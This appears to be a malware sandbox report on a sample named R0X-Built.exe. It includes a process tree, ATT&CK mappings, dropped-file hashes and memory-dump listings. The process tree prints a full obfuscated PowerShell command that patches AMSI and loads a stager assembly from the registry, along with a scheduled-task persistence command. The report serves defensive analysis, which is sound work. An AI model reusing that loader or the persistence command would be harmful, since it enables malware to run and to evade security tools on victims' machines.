PID 5068 wrote to memory of 3860	5068	dllhost.exe	DllHost.exe
PID 5068 wrote to memory of 4012	5068	dllhost.exe	RuntimeBroker.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:380

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{aa6a2fff-e776-4253-ad14-81c12e464151}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5068

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:692

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1032

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1112

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1136

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1148

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
2⤵
PID:2928

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:NRwEseiiwFfr{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$zCUfGPfowbqkHp,[Parameter(Position=1)][Type]$CaPsjtlTft)$JZKaaSmrtUY=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+'f'+[Char](108)+''+'e'+'c'+'t'+''+[Char](101)+''+'d'+'D'+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+'a'+''+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+''+'m'+'o'+[Char](114)+''+[Char](121)+''+'M'+''+'o'+''+[Char](100)+'u'+'l'+''+[Char](101)+'',$False).DefineType(''+[Char](77)+'y'+'D'+'e'+[Char](108)+'e'+[Char](103)+''+'a'+''+[Char](116)+'e'+[Char](84)+'y'+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+'P'+''+[Char](117)+''+'b'+''+'l'+''+[Char](105)+''+[Char](99)+','+'S'+''+'e'+''+[Char](97)+''+[Char](108)+''+[Char](101)+'d'+[Char](44)+'A'+[Char](110)+''+[Char](115)+''+'i'+''+[Char](67)+''+'l'+''+'a'+'s'+[Char](115)+','+'A'+'u'+[Char](116)+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$JZKaaSmrtUY.DefineConstructor(''+'R'+'TS'+[Char](112)+''+[Char](101)+''+'c'+'ial'+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$zCUfGPfowbqkHp).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+'t'+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+'M'+[Char](97)+''+'n'+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$JZKaaSmrtUY.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+'e',''+[Char](80)+'ub'+'l'+''+[Char](105)+'c,'+'H'+''+'i'+''+[Char](100)+'eB'+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](78)+'e'+'w'+''+'S'+'l'+[Char](111)+''+'t'+''+[Char](44)+'V'+[Char](105)+''+[Char](114)+'t'+[Char](117)+''+[Char](97)+'l',$CaPsjtlTft,$zCUfGPfowbqkHp).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+'t'+[Char](105)+''+'m'+'e,'+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+''+'d'+'');Write-Output $JZKaaSmrtUY.CreateType();}$kTyhjhRMHEAIB=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+''+[Char](115)+'t'+'e'+''+[Char](109)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')}).GetType(''+[Char](77)+''+'i'+'c'+[Char](114)+''+'o'+''+[Char](115)+'o'+[Char](102)+''+[Char](116)+''+'.'+''+'W'+''+'i'+''+'n'+''+'3'+''+'2'+''+[Char](46)+''+[Char](85)+''+[Char](110)+'s'+[Char](97)+'f'+'e'+''+[Char](78)+'a'+[Char](116)+''+[Char](105)+''+'v'+''+[Char](101)+''+'M'+'e'+[Char](116)+''+'h'+'o'+[Char](100)+''+[Char](115)+'');$swEecgTnlCzAKW=$kTyhjhRMHEAIB.GetMethod(''+'G'+'e'+[Char](116)+''+[Char](80)+''+[Char](114)+''+'o'+'c'+[Char](65)+''+[Char](100)+''+[Char](100)+''+[Char](114)+''+[Char](101)+''+'s'+'s',[Reflection.BindingFlags](''+'P'+''+'u'+''+'b'+''+[Char](108)+''+[Char](105)+''+'c'+','+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$XWecTLCmwEJAeMFTKZb=NRwEseiiwFfr @([String])([IntPtr]);$XFhAskxyexiCQdQNEewAFR=NRwEseiiwFfr @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$IiqhLoZjkfX=$kTyhjhRMHEAIB.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+'e'+''+[Char](72)+''+[Char](97)+''+[Char](110)+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+'dll')));$FpJlYomYZYdLYj=$swEecgTnlCzAKW.Invoke($Null,@([Object]$IiqhLoZjkfX,[Object]('L'+[Char](111)+'a'+'d'+''+'L'+'i'+'b'+''+'r'+'a'+'r'+''+'y'+'A')));$FvNDHxEinxvDGBnJT=$swEecgTnlCzAKW.Invoke($Null,@([Object]$IiqhLoZjkfX,[Object](''+'V'+''+[Char](105)+''+'r'+''+[Char](116)+'ualPro'+[Char](116)+''+[Char](101)+''+[Char](99)+''+'t'+'')));$zUiVcgH=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FpJlYomYZYdLYj,$XWecTLCmwEJAeMFTKZb).Invoke(''+[Char](97)+''+'m'+''+'s'+''+[Char](105)+''+[Char](46)+''+'d'+''+[Char](108)+''+'l'+'');$WXsSmrMAYgpPBQiaQ=$swEecgTnlCzAKW.Invoke($Null,@([Object]$zUiVcgH,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+'i'+'S'+''+'c'+''+[Char](97)+''+[Char](110)+''+[Char](66)+'u'+[Char](102)+'f'+[Char](101)+''+[Char](114)+'')));$EghHSOALJm=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FvNDHxEinxvDGBnJT,$XFhAskxyexiCQdQNEewAFR).Invoke($WXsSmrMAYgpPBQiaQ,[uint32]8,4,[ref]$EghHSOALJm);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$WXsSmrMAYgpPBQiaQ,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FvNDHxEinxvDGBnJT,$XFhAskxyexiCQdQNEewAFR).Invoke($WXsSmrMAYgpPBQiaQ,[uint32]8,0x20,[ref]$EghHSOALJm);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](36)+'77'+'s'+'t'+'a'+''+'g'+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1792

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1264

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1324

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1368

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1420

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
- Modifies registry class
PID:2656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1540

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1556

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1652

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1700

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1728

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1804

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1820

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1940

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1956

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1720

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2112

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2228

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2708

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2788

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2796

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2880

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2224

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3456

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of UnmapMainImage
PID:3532

C:\Users\Admin\AppData\Local\Temp\R0X-Built.exe
"C:\Users\Admin\AppData\Local\Temp\R0X-Built.exe"
2⤵
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:540

C:\Windows\SysWOW64\Windows\$srr-powershell.exe
"C:\Windows\SysWOW64\Windows\$srr-powershell.exe"
3⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
PID:4136

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
3⤵
- Executes dropped EXE
PID:1636

C:\Windows\SysWOW64\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77R0X-Built.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\R0X-Built.exe'" /sc onlogon /rl HIGHEST
3⤵
- Creates scheduled task(s)
PID:4004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3644

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3860

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
PID:4012

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4232

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4780

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:5020

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4848

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1072

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:3164

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Modifies data under HKEY_USERS
PID:1836

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:1592

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1840

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
- Drops file in System32 directory
PID:4064

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4824

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
PID:1096

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:1056

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca
1⤵
PID:4264

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2684

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
PID:3728

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2124

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:1908

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2188

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:1628

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\install.exe
Filesize
162KB

MD5
152e3f07bbaf88fb8b097ba05a60df6e

SHA1
c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

SHA256
a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

SHA512
2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

Download Submit
C:\Windows\SysWOW64\Windows\$srr-powershell.exe
Filesize
409KB

MD5
6755a8034c245ebe11816c1e80286929

SHA1
b620053be1ac5845f10cec36a1072ed6b6e116f8

SHA256
b26ec4d47dac00d294fe2b327c0f02d6b9c3ba14819ace77d972557640f1105e

SHA512
96307fd18ab07df983d3c05c8354a0414888a01bea0a2d80d68a42ee6e8275acceaae3b709d9684a8b8945e8cbbff5eb71907d5eb329c8d9074c29f6d66ca7b8

Download Submit
C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749
Filesize
330B

MD5
e3517efb15c1f0c93f7510b1efa50eeb

SHA1
179cd2edef9758b46497bfb3f099cc34b671356a

SHA256
6652fbdf8e2afcd26ba398efe2e7220ce51259db72a98331016546cfca8d313a

SHA512
4aff6e2bcbe9841d0288b781f39704bb8b8f7015f14fb19a099085e32e583362e4c0395fb7289b0cd90aa4143c79e582acdff9db9bbc7e1671f0b34cb7492573

Download Submit
C:\Windows\Temp\__PSScriptPolicyTest_rtgscl3h.wc1.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/380-89-0x00007FFEC8050000-0x00007FFEC8060000-memory.dmp

Filesize
64KB

Download
memory/380-82-0x000002018CA40000-0x000002018CA6B000-memory.dmp

Filesize
172KB

Download
memory/380-88-0x000002018CA40000-0x000002018CA6B000-memory.dmp

Filesize
172KB

Download
memory/540-2-0x00000000056E0000-0x0000000005C84000-memory.dmp

Filesize
5.6MB

Download
memory/540-6-0x0000000005ED0000-0x0000000005EE2000-memory.dmp

Filesize
72KB

Download
memory/540-1-0x0000000000730000-0x000000000079C000-memory.dmp

Filesize
432KB

Download
memory/540-5-0x0000000005270000-0x00000000052D6000-memory.dmp

Filesize
408KB

Download
memory/540-3-0x00000000051D0000-0x0000000005262000-memory.dmp

Filesize
584KB

Download
memory/540-20-0x0000000074710000-0x0000000074EC0000-memory.dmp

Filesize
7.7MB

Download
memory/540-0-0x000000007471E000-0x000000007471F000-memory.dmp

Filesize
4KB

Download
memory/540-4-0x0000000074710000-0x0000000074EC0000-memory.dmp

Filesize
7.7MB

Download
memory/540-7-0x0000000006410000-0x000000000644C000-memory.dmp

Filesize
240KB

Download
memory/616-48-0x000001B747050000-0x000001B74707B000-memory.dmp

Filesize
172KB

Download
memory/616-56-0x00007FFEC8050000-0x00007FFEC8060000-memory.dmp

Filesize
64KB

Download
memory/616-49-0x000001B747050000-0x000001B74707B000-memory.dmp

Filesize
172KB

Download
memory/616-47-0x000001B747020000-0x000001B747045000-memory.dmp

Filesize
148KB

Download
memory/616-55-0x000001B747050000-0x000001B74707B000-memory.dmp

Filesize
172KB

Download
memory/676-60-0x000001708BF20000-0x000001708BF4B000-memory.dmp

Filesize
172KB

Download
memory/676-67-0x00007FFEC8050000-0x00007FFEC8060000-memory.dmp

Filesize
64KB

Download
memory/676-66-0x000001708BF20000-0x000001708BF4B000-memory.dmp

Filesize
172KB

Download
memory/692-93-0x000002624F4E0000-0x000002624F50B000-memory.dmp

Filesize
172KB

Download
memory/960-78-0x00007FFEC8050000-0x00007FFEC8060000-memory.dmp

Filesize
64KB

Download
memory/960-71-0x000001C13EE10000-0x000001C13EE3B000-memory.dmp

Filesize
172KB

Download
memory/960-77-0x000001C13EE10000-0x000001C13EE3B000-memory.dmp

Filesize
172KB

Download
memory/1792-31-0x000001CDF5510000-0x000001CDF553A000-memory.dmp

Filesize
168KB

Download
memory/1792-30-0x000001CDF5120000-0x000001CDF5142000-memory.dmp

Filesize
136KB

Download
memory/1792-33-0x00007FFF06EC0000-0x00007FFF06F7E000-memory.dmp

Filesize
760KB

Download
memory/1792-32-0x00007FFF07FD0000-0x00007FFF081C5000-memory.dmp

Filesize
2.0MB

Download
memory/4136-13-0x0000000074710000-0x0000000074EC0000-memory.dmp

Filesize
7.7MB

Download
memory/4136-14-0x0000000074710000-0x0000000074EC0000-memory.dmp

Filesize
7.7MB

Download
memory/4136-713-0x0000000006350000-0x000000000635A000-memory.dmp

Filesize
40KB

Download
memory/4136-712-0x0000000074710000-0x0000000074EC0000-memory.dmp

Filesize
7.7MB

Download
memory/5068-39-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/5068-34-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/5068-40-0x00007FFF07FD0000-0x00007FFF081C5000-memory.dmp

Filesize
2.0MB

Download
memory/5068-37-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/5068-41-0x00007FFF06EC0000-0x00007FFF06F7E000-memory.dmp

Filesize
760KB

Download
memory/5068-36-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/5068-44-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/5068-35-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads